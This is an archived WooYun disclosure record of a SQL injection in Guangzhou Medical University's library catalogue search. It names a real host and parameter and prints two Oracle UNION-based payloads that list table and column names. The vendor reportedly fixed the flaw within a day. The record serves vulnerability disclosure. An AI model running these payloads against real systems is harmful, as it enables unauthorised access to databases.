破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

广州医科大学书目检索系统SQL注入

编号219206
Urlhttp://www.wooyun.org/bug.php?action=view&id=219206
漏洞状态厂商已经修复
漏洞标题广州医科大学书目检索系统SQL注入
漏洞类型SQL注射漏洞
厂商gzhmu.edu.cn
白帽子路人甲
提交日期2016-06-15 10:13:00
公开日期2016-06-16 08:46:00
修复时间2016-06-16 08:46:00
确认时间2016-06-15 00:00:00
Confirm Spend0
漏洞标签sql注入
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank19
漏洞简介
广州医科大学书目检索系统SQL注入
漏洞细节

注入点:

http://210.38.58.25:8080/opac/search_rss.php?location=ALL&title=ccc&doctype=ALL&lang_code=ALL&match_flag=forward&displaypg=20&showmode=list&orderby=DESC&sort=CATA_DATE&onlylendable=yes&with_ebook=&with_ebook=

POC

这个sqlmap直接跑跑不出来,所以自己写的脚本,因为是联合注入,所以跑的数独也特别快:

sql6.PNG


sql7.PNG


直接有回显:

sql8.PNG


然后是跑表的payload,修改r的值就可以跑其他的:

http://210.38.58.25:8080/opac/search_rss.php?location=ALL' UNION ALL SELECT (SELECT table_name FROM (SELECT ROWNUM r, table_name FROM all_tables ORDER BY table_name) WHERE r=1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL-- &title=ccc&doctype=ALL&lang_code=ALL&match_flag=forward&displaypg=20&showmode=list&orderby=DESC&sort=CATA_DATE&onlylendable=yes&with_ebook=&with_ebook=


跑的结果,截图部分:

sql9.PNG


然后是跑字段的payload:

http://210.38.58.25:8080/opac/search_rss.php?location=ALL' UNION ALL SELECT (select column_name from (select rownum r,column_name from user_tab_columns order by column_name) where r=1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL-- &title=ccc&doctype=ALL&lang_code=ALL&match_flag=forward&displaypg=20&showmode=list&orderby=DESC&sort=CATA_DATE&onlylendable=yes&with_ebook=&with_ebook=


跑的结果,截取部分:

sql10.PNG

修复方案

状态信息 2016-06-15: 细节已通知厂商并且等待厂商处理中
2016-06-15: 厂商已经确认,细节仅向厂商公开
2016-06-16: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复感谢!
回应信息危害等级:高漏洞Rank:19 确认时间:2016-06-15 10:29